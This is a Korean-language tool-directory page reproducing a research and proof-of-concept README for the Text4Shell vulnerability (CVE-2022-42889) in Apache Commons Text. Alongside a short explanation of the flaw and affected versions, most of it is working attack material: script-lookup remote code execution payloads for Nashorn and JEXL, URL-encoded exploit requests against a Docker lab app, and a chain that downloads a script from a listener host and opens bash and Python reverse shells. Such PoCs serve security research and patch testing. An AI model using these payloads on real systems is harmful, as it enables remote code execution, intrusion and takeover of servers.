Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-42889-text4shell — CVE-2022-42889 일명 Text4Shell 연구 및 PoC | Kitploit
도구/GitHubGitHub/cxzero/cve-2022-42889-text4shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubcxzero/cve-2022-42889-text4shell

CVE-2022-42889-text4shell

CVE-2022-42889 일명 Text4Shell 연구 및 PoC

저장소 보기
2033년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-42889 일명 text4shell

최근 발견된 Apache Commons Text의 취약점에 대한 PoC (@pwntester 제공):

https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/에서 언급된 바와 같이:

취약점은 StringSubstitutor 인터폴레이터 객체에 존재합니다. 인터폴레이터는 StringSubstitutor.createInterpolator() 메서드로 생성되며, StringLookupFactory에 정의된 대로 문자열 조회를 허용합니다. 이는 “${prefix:name}” 형식의 문자열을 전달하여 악용될 수 있으며, prefix는 앞서 언급한 조회 방식입니다. “script”, “dns” 또는 “url” 조회를 사용하면 조작된 문자열이 인터폴레이터 객체에 전달될 때 임의의 스크립트를 실행할 수 있습니다.

영향을 받는 버전

영향을 받는 Apache Commons Text 버전은 1.5부터 1.9까지입니다. 버전 1.10에서 패치되었습니다.

악용 조건

  • Apache Commons Text 버전 1.5~1.9를 실행 중인 경우
  • StringSubstitutor 인터폴레이터 클래스 사용

원격으로 악용하려면 공격자가 제어하는 입력이 StringSubstitutor 인터폴레이션의 입력으로 사용되어야 합니다. 특히 StringSubstitutor.replace() 또는 StringSubstitutor.replaceIn() 메서드에서 사용됩니다.

기타 JavaScript 스크립트 엔진

JDK 15부터 Nashorn JavaScript Engine이 제거되었습니다: https://openjdk.org/jeps/372. 그러나 JEXL과 같은 타사 종속성이 포함된 경우 Apache Commons Text에서 RCE가 발생할 수 있습니다 (https://twitter.com/pwntester/status/1582321752566161409).

악용

스크립트 인터폴레이터

RCE를 얻기 위해 악용될 수 있습니다.

JDK < 15

Nashorn 엔진:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

JDK 15+

JEXL 타사 라이브러리 사용 시:

root@kitploit:~
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}

DNS 인터폴레이터

DNS 조회로 이어질 수 있습니다:

root@kitploit:~
${dns:address|commons.apache.org}

URL 인터폴레이터

지정된 URL에 연결하여 콘텐츠를 가져오려고 시도합니다:

root@kitploit:~
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}

PoC 수동 컴파일

https://start.spring.io/ 기반 템플릿

root@kitploit:~
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar 

Docker에서 앱 실행

JVM 11 사용

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell 

JVM 19 사용

root@kitploit:~
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell 

제공되는 PoC

언급된 다양한 공격 벡터를 테스트하기 위한 여러 엔드포인트가 제공됩니다.

/poc1

image

root@kitploit:~
curl http://localhost:8080/poc1

image

/poc2

image

root@kitploit:~
curl http://localhost:8080/poc2

image

/poc3

image

root@kitploit:~
curl http://localhost:8080/poc3

image

/message?text=

root@kitploit:~
curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

image

Nashorn 사용:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

image image

JEXL 사용:

root@kitploit:~
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D

image

image

리버스 셸 얻기

간단하게 하기 위해 netcat 리스너용 기본 Docker 인터페이스를 사용합니다. 테스트해본 결과, bash와 python 리버스 셸이 잘 동작하는 페이로드들을 찾았습니다:

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}

여기서 rev.sh는 다음과 같은 내용으로 제공됩니다:

root@kitploit:~
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
root@kitploit:~
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image image

image image

참고 자료

  • https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
  • https://sysdig.com/blog/cve-2022-42889-text4shell/
  • https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
  • https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
  • https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
  • https://twitter.com/pwntester/status/1583189642471706624
  • https://twitter.com/pyn3rd/status/1582729285005037568
  • https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

다른 PoC에 대한 크레딧

  • https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
  • https://github.com/korteke/CVE-2022-42889-POC
  • https://github.com/karthikuj/cve-2022-42889-text4shell-docker
  • https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
  • https://github.com/kljunowsky/CVE-2022-42889-text4shell
  • https://github.com/securekomodo/text4shell-poc
도구 다운로드